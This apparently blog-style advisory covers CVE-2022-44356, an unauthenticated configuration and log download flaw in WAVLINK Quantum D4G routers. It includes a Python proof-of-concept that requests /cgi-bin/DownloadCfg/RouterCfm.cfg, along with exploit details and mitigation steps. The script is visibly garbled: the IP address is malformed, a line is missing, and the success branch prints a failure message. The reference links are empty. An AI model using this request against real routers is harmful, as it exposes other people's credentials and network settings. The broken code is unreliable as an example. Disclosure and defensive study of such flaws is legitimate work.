It has been discovered that WAVLINK Quantum D4G (WL-WN531G3) routers are susceptible to a security vulnerability dubbed CVE-2022-44356 in their firmware, which allows unauthenticated attackers to gain unauthorized access to configuration data and log files. This vulnerability affects devices running firmware versions M31G3.V503.201204 and M31G3.V503.200325. This post aims to provide an in-depth analysis of the issue, code snippets to demonstrate the vulnerability, links to original references, and exploit details.

Vulnerability Overview

The vulnerability exists due to an access control issue in the router's firmware, which means that unauthenticated attackers can remotely download sensitive files such as configuration data and logs by directly accessing specific URLs without needing a valid login session. This can lead to unauthorized access to sensitive information like usernames, passwords, and network settings, making the network and devices connected to it vulnerable to further attacks.

Code Snippet to Demonstrate the Vulnerability

The following Python script demonstrates the vulnerability by making an HTTP request to the target URL, allowing an attacker to download the configuration data and log files without authentication:

import requests

# Replace target_ip with the actual IP address of the WAVLINK Quantum D4G (WL-WN531G3) router
target_ip = "192.168..1"

# CVE-2022-44356 vulnerable URL for downloading configuration data
config_url = f"http://{target_ip}/cgi-bin/DownloadCfg/RouterCfm.cfg";

response = requests.get(config_url)
if response.status_code == 200:
    print("Configuration file successfully downloaded:")
    print(f"Failed to download the configuration file. Status code: {response.status_code}")

Exploit Details

An attacker can exploit this vulnerability by sending an HTTP GET request directly to the vulnerable URL on the target device, as shown in the code snippet, without even having to authenticate themselves. A successful exploitation may lead to unauthorized access to sensitive network configurations, user credentials, and more.

By obtaining this information, the attackers can potentially change network settings, create unauthorized access to connected devices, and undermine the overall security of the affected network.

- NVD - CVE-2022-44356:
- WAVLINK Quantum D4G:
- Firmware M31G3.V503.201204:
- Firmware M31G3.V503.200325:

Mitigation Steps

Until a patch for this vulnerability is released, users of the affected WAVLINK Quantum D4G (WL-WN531G3) routers should take the following precautions:

1. Ensure that the router's web interface is not accessible from the internet by disabling remote management features.
2. Regularly monitor and review the router's system logs to detect any unauthorized access attempts or suspicious activities.
3. Change default credentials and use strong, unique passwords to prevent unauthorized access to the web interface.

In conclusion, CVE-2022-44356 is a critical security vulnerability in WAVLINK Quantum D4G (WL-WN531G3) routers running affected firmware versions. Users of these devices should be mindful of the risks and take appropriate steps to protect their networks until a firmware update addressing this vulnerability is released by the manufacturer.


Published on: 11/29/2022 17:15:00 UTC
Last modified on: 12/02/2022 13:54:00 UTC